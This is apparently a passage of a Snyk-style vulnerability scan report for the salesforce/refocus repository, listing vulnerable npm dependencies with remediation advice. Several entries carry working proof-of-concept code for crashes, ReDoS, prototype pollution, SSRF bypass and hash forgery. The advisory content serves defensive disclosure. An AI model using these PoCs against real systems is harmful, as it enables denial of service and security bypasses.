console.log('Valid signature: ' + pubKey.verify(hashStr, sig));

// You can check that this hash should validate by consolidating openssl
const fs = require('fs');
fs.writeFile('msg.bin', new BN(msg, 16).toBuffer(), (err) => {
  if (err) throw err;
});
fs.writeFile('sig.bin', new BN(sig, 16).toBuffer(), (err) => {
  if (err) throw err;
});
fs.writeFile('cert.pem', pkPem, (err) => {
  if (err) throw err;
});

// To verify the correctness of the message signature and key one can run:
// openssl dgst -sha256 -verify cert.pem -signature sig.bin msg.bin
// Or run this python script
/*
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec


msg = '343236343739373234'
sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b'
pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723'

p192 = ec.SECP192R1()
pk = ec.EllipticCurvePublicKey.from_encoded_point(p192, bytes.fromhex(pk))
pk.verify(bytes.fromhex(sig), bytes.fromhex(msg), ec.ECDSA(hashes.SHA256()))
*/

Remediation

There is no fixed version for elliptic.

References

critical severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: xml-crypto
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-crypto@0.8.5
    Remediation: Upgrade to passport-saml@1.4.0.

Overview

xml-crypto is a xml digital signature and encryption library for Node.js.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature through the SignedInfo references. An attacker can modify a valid signed XML message to bypass signature verification checks by altering critical identity or access control attributes, enabling privilege escalation or impersonation.

Remediation

Upgrade xml-crypto to version 2.1.6, 3.2.1, 6.0.1 or higher.

References

critical severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: xml-crypto
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-crypto@0.8.5
    Remediation: Upgrade to passport-saml@1.4.0.

Overview

xml-crypto is a xml digital signature and encryption library for Node.js.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the manipulation of the DigestValue element within the XML structure. An attacker can alter the integrity of the XML document and bypass security checks by inserting or modifying comments within the DigestValue element.

Remediation

Upgrade xml-crypto to version 2.1.6, 3.2.1, 6.0.1 or higher.

References

critical severity

Uncaught Exception

  • Vulnerable module: multer
  • Introduced through: multer@1.4.4 and swagger-tools@0.10.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af multer@1.4.4
    Remediation: Upgrade to multer@2.0.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 multer@1.4.4

Overview

Affected versions of this package are vulnerable to Uncaught Exception in makeMiddleware, when processing a file upload request. An attacker can cause the application to crash by sending a request with a field name containing an empty string.

Remediation

Upgrade multer to version 2.0.1 or higher.

References

critical severity
new

Function Call With Incorrect Argument Type

  • Vulnerable module: sha.js
  • Introduced through: webpack@1.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 node-libs-browser@0.7.0 crypto-browserify@3.3.0 sha.js@2.2.6

Overview

Affected versions of this package are vulnerable to Function Call With Incorrect Argument Type due to missing type checks in the update function in the hash.js file. An attacker can manipulate input data by supplying crafted data that causes a hash rewind and unintended data processing.

PoC

const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = sha('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

Remediation

Upgrade sha.js to version 2.4.12 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: cross-spawn
  • Introduced through: sequelize-cli@4.1.1, npm@6.14.18 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af sequelize-cli@4.1.1 yargs@8.0.2 os-locale@2.1.0 execa@0.7.0 cross-spawn@5.1.0
    Remediation: Upgrade to sequelize-cli@5.0.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 update-notifier@2.5.0 boxen@1.3.0 term-size@1.2.0 execa@0.7.0 cross-spawn@5.1.0
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpx@10.2.4 update-notifier@2.5.0 boxen@1.3.0 term-size@1.2.0 execa@0.7.0 cross-spawn@5.1.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 update-notifier@2.5.0 boxen@1.3.0 term-size@1.2.0 execa@0.7.0 cross-spawn@5.1.0
    Remediation: Upgrade to npm-watch@0.7.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

PoC

const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
  str += "\\";
}
str += "◎";

console.log("start")
argument(str)
console.log("end")

// run `npm install cross-spawn` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.

References

high severity

Missing Release of Memory after Effective Lifetime

  • Vulnerable module: multer
  • Introduced through: multer@1.4.4 and swagger-tools@0.10.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af multer@1.4.4
    Remediation: Upgrade to multer@2.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 multer@1.4.4

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper handling of error events in HTTP request streams, which fails to close the internal busboy stream. An attacker can cause a denial of service by repeatedly triggering errors in file upload streams, leading to resource exhaustion and memory leaks.

Note:

This is only exploitable if the server is handling file uploads.

Remediation

Upgrade multer to version 2.0.0 or higher.

References

high severity

Uncaught Exception

  • Vulnerable module: multer
  • Introduced through: multer@1.4.4 and swagger-tools@0.10.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af multer@1.4.4
    Remediation: Upgrade to multer@2.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 multer@1.4.4

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to an error event thrown by busboy. An attacker can cause a full nodejs application to crash by sending a specially crafted multi-part upload request.

PoC

const express = require('express')
const multer  = require('multer')
const http  = require('http')
const upload = multer({ dest: 'uploads/' })
const port = 8888

const app = express()

app.post('/upload', upload.single('file'), function (req, res) {
  res.send({})
})

app.listen(port, () => {
  console.log(`Listening on port ${port}`)

  const boundary = 'AaB03x'
  const body = [
    '--' + boundary,
    'Content-Disposition: form-data; name="file"; filename="test.txt"',
    'Content-Type: text/plain',
    '',
    'test without end boundary'
  ].join('\r\n')
  const options = {
    hostname: 'localhost',
    port,
    path: '/upload',
    method: 'POST',
    headers: {
      'content-type': 'multipart/form-data; boundary=' + boundary,
      'content-length': body.length,
    }
  }
  const req = http.request(options, (res) => {
    console.log(res.statusCode)
  })
  req.on('error', (err) => {
    console.error(err)
  })
  req.write(body)
  req.end()
})

Remediation

Upgrade multer to version 2.0.0 or higher.

References

high severity

Uncaught Exception

  • Vulnerable module: multer
  • Introduced through: multer@1.4.4 and swagger-tools@0.10.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af multer@1.4.4
    Remediation: Upgrade to multer@2.0.2.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 multer@1.4.4

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to improper handling of multipart requests. An attacker can cause the application to crash by sending a specially crafted malformed multi-part upload request that triggers an unhandled exception.

Remediation

Upgrade multer to version 2.0.2 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: utile
  • Introduced through: jscs@3.0.7

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 prompt@0.2.14 utile@0.2.1

Overview

utile is a drop-in replacement for util with some additional advantageous functions.

Affected versions of this package are vulnerable to Prototype Pollution through the createPath function. An attacker can disrupt service by supplying a crafted payload with Object.prototype setter to introduce or modify properties within the global prototype chain.

PoC

(async () => {
const lib = await import('utile');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.createPath (someObj, [["__proto__"], "pollutedKey"], "pollutedValue")
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

There is no fixed version for utile.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: ip
  • Introduced through: npm@6.14.18

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
    Remediation: Upgrade to npm@7.21.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmpublish@1.1.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5

Overview

ip is a Node library.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the isPublic function, by failing to identify hex-encoded 0x7f.1 as equivalent to the private addess 127.0.0.1. An attacker can expose sensitive information, interact with internal services, or exploit other vulnerabilities within the network by exploiting this vulnerability.

PoC

var ip = require('ip');

console.log(ip.isPublic("0x7f.1"));
//This returns true. It should be false because 0x7f.1 == 127.0.0.1 == 0177.1

Remediation

Upgrade ip to version 1.1.9, 2.0.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: xmldom
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-crypto@0.8.5 xmldom@0.1.19
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xmldom@0.1.31
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to Prototype Pollution through the copy() function in dom.js. Exploiting this vulnerability is possible via the p variable.

DISPUTED This vulnerability has been disputed by the maintainers of the package. Currently the only viable exploit that has been demonstrated is to pollute the target object (rather then the global object which is generally the case for Prototype Pollution vulnerabilities) and it is yet unclear if this limited attack vector exposes any vulnerability in the context of this package.

See the linked GitHub Issue for full details on the discussion around the legitimacy and potential revocation of this vulnerability.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

There is no fixed version for xmldom.

References

high severity

Improper Filtering of Special Elements

  • Vulnerable module: sequelize
  • Introduced through: sequelize@5.8.12

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af sequelize@5.8.12
    Remediation: Upgrade to sequelize@6.29.0.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Improper Filtering of Special Elements due to attributes not being escaped if they included ( and ), or were equal to * and were split if they included the character ..

Remediation

Upgrade sequelize to version 6.29.0 or higher.

References

high severity

Asymmetric Resource Consumption (Amplification)

  • Vulnerable module: body-parser
  • Introduced through: swagger-tools@0.10.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 body-parser@1.12.4

Overview

Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) via the extendedparser and urlencoded functions when the URL encoding process is enabled. An attacker can flood the server with a large number of specially crafted requests.

Remediation

Upgrade body-parser to version 1.20.3 or higher.

References

high severity

Uninitialized Memory Exposure

  • Vulnerable module: https-proxy-agent
  • Introduced through: newrelic@1.40.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af newrelic@1.40.0 https-proxy-agent@0.3.6
    Remediation: Upgrade to newrelic@4.0.0.

Overview

https-proxy-agent provides an http.Agent implementation that connects to a specified HTTP or HTTPS proxy server, and can be used with the built-in https module.

Affected versions of this package are vulnerable to Uninitialized Memory Exposure and Denial of Service (DoS) attacks due to passing unsanitized options to Buffer(arg).

Note: CVE-2018-3739 is a duplicate of CVE-2018-3736.

Uninitialized memory Exposre PoC by ChALKer

// listen with: nc -l -p 8080

var url = require('url');
var https = require('https');
var HttpsProxyAgent = require('https-proxy-agent');

var proxy = {
  protocol: 'http:',
  host: "127.0.0.1",
  port: 8080
};

proxy.auth = 500; // a number as 'auth'
var opts = url.parse('https://example.com/');
var agent = new HttpsProxyAgent(proxy);
opts.agent = agent;
https.get(opts);

Details

The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.

const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10

The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream. When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.

Remediation

Upgrade https-proxy-agent to version 2.2.0 or higher. Note This is vulnerable only for Node <=4

References

high severity

Arbitrary Code Execution

  • Vulnerable module: ejs
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 ejs@0.8.8
    Remediation: Upgrade to passport-saml@0.20.0.

Overview

ejs is a popular JavaScript templating engine. Affected versions of the package are vulnerable to Remote Code Execution by letting the attacker under certain conditions control the source folder from which the engine renders include files. You can read more about this vulnerability on the Snyk blog.

There's also a Cross-site Scripting & Denial of Service vulnerabilities caused by the same behaviour.

Details

ejs provides a few different options for you to render a template, two being very similar: ejs.render() and ejs.renderFile(). The only difference being that render expects a string to be used for the template and renderFile expects a path to a template file.

Both functions can be invoked in two ways. The first is calling them with template, data, and options:

ejs.render(str, data, options);

ejs.renderFile(filename, data, options, callback)

The second way would be by calling only the template and data, while ejs lets the options be passed as part of the data:

ejs.render(str, dataAndOptions);

ejs.renderFile(filename, dataAndOptions, callback)

If used with a variable list supplied by the user (e.g. by reading it from the URI with qs or equivalent), an attacker can control ejs options. This includes the root option, which allows changing the project root for includes with an absolute path.

ejs.renderFile('my-template', {root:'/bad/root/'}, callback);

By passing along the root directive in the line above, any includes would now be pulled from /bad/root instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.

The fix introduced in version 2.5.3 blacklisted root options from options passed via the data object.

Disclosure Timeline

  • November 27th, 2016 - Reported the issue to package owner.
  • November 27th, 2016 - Issue acknowledged by package owner.
  • November 28th, 2016 - Issue fixed and version 2.5.3 released.

Remediation

